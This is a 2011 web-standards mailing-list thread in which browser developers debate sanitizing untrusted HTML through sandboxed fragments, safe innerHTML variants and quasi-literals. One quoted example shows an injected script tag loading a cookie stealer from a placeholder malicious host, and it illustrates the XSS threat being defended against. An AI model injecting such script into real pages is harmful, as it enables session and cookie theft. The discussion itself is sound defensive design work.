The clipboard events <http://www.w3.org/TR/clipboard-apis/> spec has some text about HTML sanitization. It might be good to make sure any work in this area is shared.
Daniel On Tue, Nov 8, 2011 at 17:10, Ojan Vafai <o...@chromium.org> wrote: > Providing concise, easy and XSS safe ways to generate a DOM is certainly > something we have to solve. I don't think sandbox is the best way to > achieve this. Specifically, I don't believe sandbox on iframes actually > strips the script elements, does it? It just doesn't execute them. > > If we want to continue down the string->DOM approach, then I agree with > Jonas, we need to define an algorithm for safe innerHTML and use it in all > the places where we can currently set HTML. I'm open to supporting this > use-case because the XHR pattern is so common. > > The other solution being proposed for easy, safe DOM creation is > quasi-literals, which I believe we should definitely also do. In those > cases, you'd have something like: > var myDom = html'<a href="">foo</a>'; > > The browser would provide a built-in html function that returns a DOM and > uses the browser's html parser. These are not strings though, so you can't > use the response from an XHR here. > > On Mon, Nov 7, 2011 at 8:36 PM, Jonas Sicking <jo...@sicking.cc> wrote: > >> On Mon, Nov 7, 2011 at 8:23 PM, Ryan Seddon <seddon.r...@gmail.com> >> wrote: >> > On Tue, Nov 8, 2011 at 4:30 AM, Ojan Vafai <o...@chromium.org> wrote: >> >> >> >> I don't really follow. Script won't execute until you append the >> fragment >> >> to the DOM, at which point the fragment itself doesn't go in the DOM, >> just >> >> it's children. So, I'm not really sure what sandboxing on fragments >> would >> >> do. >> > >> > If I was ajaxing in potentially hostile content that had malicious >> script >> > tags in it it would be ideal to "sandbox" the content so the HTML >> parser in >> > the browser would strip the content for me. >> > >> > xhr.responseText = "<div><script >> > >> src="//malicious.site/cookieStealer.js"></script><h1>content</h1></div>"; >> > >> > var frag = document.createDocumentFragment(); >> > >> > frag.sandbox = ""; >> > frag.innerHTML = xhr.responseText; // it's sandboxed so the script(s) >> will >> > be stripped by the parser. >> > >> > document.body.appendChild(frag); >> > >> > The following article demonstrates the same concept using an iframe >> with the >> > sandbox attribute set[1]. This to me would also make sense to be >> extended to >> > fragments. >> > >> > [1] >> > >> http://community.jboss.org/people/wesleyhales/blog/2011/08/28/fixing-ajax-on-mobile-devices >> >> I do think we should add something like this, however I think we >> should have a more explicit syntax for it. There's an old thread with >> subject "innerStaticHTML" in the WHATWG list which discusses this >> topic and various possible syntaxes. >> >> Note that inserting a untrusted piece of HTML into your document is >> interesting not just when dealing with document fragments. Both >> div.innerHTML as well as div.insertAdjecentHTML(...) seems like they >> could use "safe" variants. >> >> In short, I think a separate thread is needed for this :) >> >> / Jonas >> > >